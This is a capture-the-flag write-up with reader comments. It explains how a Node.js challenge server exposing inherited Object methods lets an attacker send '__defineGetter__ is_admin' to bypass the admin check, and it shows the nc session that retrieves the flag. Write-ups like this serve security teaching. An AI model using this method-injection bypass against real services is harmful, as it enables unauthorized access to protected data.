This guard talks a weird dialect. And why does he talk in such a complicated way? Download
nc wildwildweb.fluxfingers.net 1408
Source code of guard:
const net = require \net const BufferStream = require \bufferstream admin_password = (require \fs).readFileSync \admin_password, \utf8 server = net.createServer (con) -> console.log 'client connected' con.write 'hello!\n' client_context = is_admin: false token: (require \fs).readFileSync \secret_token, \utf8 login: ([password], cb) -> if password == admin_password cb "Authentication successful" @is_admin = true else cb "Authentication failed" get_token: ([], cb) -> if not @is_admin then return cb "You are not authorized to perform this action." cb "The current token is #{@token}" in_stream = new BufferStream {encoding:\utf8, size:\flexible} con.pipe in_stream <- in_stream.split \\n it .= toString \utf8 console.log "got line: #{it}" [funcname, ...args] = it.split ' ' if typeof client_context[funcname] != \function return con.write "error: unknown function #funcname\n" client_context[funcname] args, -> con.write "#it\n" server.listen 1408, -> console.log 'server bound'
Given code written on COCO (CoffeeScript dialect). You can translate code to js, if you don’t know coffeescript (like me :)) ).
➜ ~ coco -c objection_4966674d17ff296939c0e3dfccfe87ed.co
JS version
As you can see – we can call only methods from client_context.
There are no some interesting methods in client_context, which can help us bypass authorization. But… client_context inherited from Object, so we can use toString and other methods. Nice :) We can call __defineGetter__, which can help us to change getter’s value of is_admin to true.
return client_context[funcname](args, function(it){ return con.write(it + "\n"); });
If we send __defineGetter__ as a command with is_admin argument, we can change is_admin value to con.write(…) (which will return true if everything is ok with network). Explanation:
return client_context.__defineGetter__("is_admin", function(it){ return con.write(it + "\n"); });
Legend: S – Server, C – Client.
➜ ~ nc wildwildweb.fluxfingers.net 1408 S: hello! C: __defineGetter__ is_admin C: get_token S: undefined S: The current token is flag{real_cowboys_dont_use_object_create_null}
23.10.2014 at 13:18
Actually, the ‘explanation’ code at the end is incorrect. The first argument to
__defineGetter__
is not'is_admin'
but rather[ 'is_admin' ]
. This has the same effect though, becauseString([ 'is_admin' ]) == 'is_admin'
.24.10.2014 at 09:00
Code was written this way to be more clear :) Thank you for the feedback